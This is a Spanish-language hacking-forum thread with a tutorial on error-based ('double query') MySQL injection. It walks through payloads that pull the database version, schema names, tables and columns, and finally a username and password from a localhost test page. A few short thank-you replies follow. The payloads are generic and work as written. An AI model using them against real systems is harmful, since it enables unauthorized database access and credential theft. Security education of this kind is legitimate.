Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: WilyXem en Enero 18, 2013, 09:24:06 PM

Título: Tutorial MySQL Injection Double Query.
Publicado por: WilyXem en Enero 18, 2013, 09:24:06 PM
Saludos, os traigo otro tutorial de inyecciones.  :D

Hoy vamos a inyectar en localhost una inyeccion de tipo MySQL Double Query [2x error based].

Empezamos:

Paso 1:

Para sacar la version necesitamos el siguente query:

and(select 1 from(select count(*),concat((select(concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Resultado:

http://localhost/sqli2.php?id=1 and(select 1 from(select count(*),concat((select(concat(0x44617461426173652056657273696f6e3d3d3e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

MySQL Fucking server says: Duplicate entry 'DataBase Version==>'5.1.63-0ubuntu0.10.04.1'~1' for key 'group_key'

Paso 2:

Para sacar la bases de datos, necesitamos el siguente query:


and(select 1 from(select count(*),concat((select(concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e)) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


Resultado:

http://localhost/sqli2.php?id=1 and(select 1 from(select count(*),concat((select(concat(0x4669727374204461746142617365203d3d3e20,0x27,cast(schema_name as char),0x27,0x7e)) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

MySQL Fucking server says: Duplicate entry 'First DataBase ==> 'information_schema'~1' for key 'group_key'


La primera base de datos es "information_schema", como pasamos a la siguente? Pues con el siguente cambio del query:


and(select 1 from(select count(*),concat((select(concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e)) from information_schema.schemata limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


Resultado:

http://localhost/sqli2.php?id=1 and(select 1 from(select count(*),concat((select(concat(0x5365636f6e64204461746142617365203d3d3e20,0x27,cast(schema_name as char),0x27,0x7e)) from information_schema.schemata limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


MySQL Fucking server says: Duplicate entry 'Second DataBase ==> 'mysql'~1' for key 'group_key'


He creado una base de datos llamada "underc0de" con una tabela llamada "usuarios" dentro de ella hay unas columnas ==> id, username, password.

Como he creado la tabla con las columnas? Con el siguente query:

CREATE base.tabla (columna tipo, columna2, tipo, columna 3 tipo);

En mi caso es:

CREATE underc0de.usuarios (id varchar(20), username varchar(30), password varchar(50));

Despues he metido los en las columnas datos.

INSERT INTO underc0de.usuarios (id,username,password) VALUES ('1','WilyXem','underc0de');

Que es "varchar"?! Varchar es el espacio donde se pueden escribir los datos de una de las columnas, las cifras que vienen dentro de las parentesis son los datos que se pueden escribir [como maximo], osea, no puedes escribir en username mas de 30 palabras, ni en password no puedes escribir mas de 50 palabras.

Paso 3:

Volvemos a la inyeccion, ahora vamos a sacar las tablas de la base llamada "underc0de"

Para sacar las tablas necesitamos el siguente query:

and(select 1 from(select count(*),concat((select(concat(0x7e,0x27,cast(table_name as char),0x27,0x7e)) from information_schema.tables where table_schema=0xHex-de-la-base-de-datos limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Resultado:

http://localhost/sqli2.php?id=1 and(select 1 from(select count(*),concat((select(concat(0x5365636f6e64204461746142617365203d3d3e20,0x27,cast(table_name as char),0x27,0x7e)) from information_schema.tables where table_schema=0x756e64657263306465 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

MySQL Fucking server says: Duplicate entry 'First Table ==> 'usuarios'~1' for key 'group_key'

Paso 4:

Para sacar las columnas necesitamos el siguente query:

and(select 1 from(select count(*),concat((select(concat(0x7e,0x27,cast(column_name as char),0x27,0x7e)) from information_schema.columns where table_schema=0xHex-De-La-Base-De-Datos limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


Resultado:

http://localhost/sqli2.php?id=1 and(select 1 from(select count(*),concat((select(concat(0x466972737420436f6c756d6e203d3d3e20,0x27,cast(column_name as char),0x27,0x7e)) from information_schema.columns where table_schema=0x756e64657263306465 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


MySQL Fucking server says: Duplicate entry 'First Column ==> 'id'~1' for key 'group_key'

Para pasar a la otra columna, hay que hacer este cambio en el query:

and(select 1 from(select count(*),concat((select(concat(0x4669727374205461626c65203d3d3e20,0x27,cast(column_name as char),0x27,0x7e)) from information_schema.columns where table_schema=0x756e64657263306465 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Resultado:

http://localhost/sqli2.php?id=1 and(select 1 from(select count(*),concat((select(concat(0x5365636f6e6420436f6c756d6e203d3d3e20,0x27,cast(column_name as char),0x27,0x7e)) from information_schema.columns where table_schema=0x756e64657263306465 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


MySQL Fucking server says: Duplicate entry 'Second Column ==> 'username'~1' for key 'group_key'

Ya tenemos las 3 columnas:

id
username
password.

Paso 5:

Para sacar los datos de las columnas necesitamos el siguente query:

and(select 1 from(select count(*),concat((select (select(concat(0x7e,0x27,cast(tabla.columna as char),0x27,0x7e)) from base.tabla LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Resultado:

http://localhost/sqli2.php?id=1 and(select 1 from(select count(*),concat((select (select(concat(0x7e,0x27,cast(usuarios.username as char),0x27,0x7e)) from underc0de.usuarios LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

MySQL Fucking server says: Duplicate entry 'The first username ==> 'WilyXem'~1' for key 'group_key'

Y su contrasena es:

http://localhost/sqli2.php?id=1 and(select 1 from(select count(*),concat((select (select(concat(0x5468652066697273742070617373776f7264206973203d3d3e20,0x27,cast(usuarios.password as char),0x27,0x7e)) from underc0de.usuarios LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

MySQL Fucking server says: Duplicate entry 'The first password is ==> 'underc0de'~1' for key 'group_key'

Espero que os gusto el tutorial.

Gracias por vuestra atencion.


Título: Re:Tutorial MySQL Injection Double Query.
Publicado por: arthusu en Enero 24, 2013, 03:31:27 AM
excelente tuto gracias :D
Título: Re:Tutorial MySQL Injection Double Query.
Publicado por: Dark nite10 en Enero 31, 2013, 02:56:15 AM
Excelente tutorial, Te recomiendo cambiar el color amarillo por otro, ya que es muy molesto para la vista.
Título: Re:Tutorial MySQL Injection Double Query.
Publicado por: arthusu en Enero 31, 2013, 03:18:08 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Excelente tutorial, Te recomiendo cambiar el color amarillo por otro, ya que es muy molesto para la vista.
puedes cambiar al tema anterior asi lo ves mejor xD
Título: Re:Tutorial MySQL Injection Double Query.
Publicado por: Alex en Febrero 01, 2013, 12:36:20 PM
el tema es el clásico de sqli pero siempre ayuda a los que recien empiezan, cuando yo empezé aprendí leyendo un manual muy parecido a este.

saludos! y se agradece el aporte sobre todo para los más nobatos.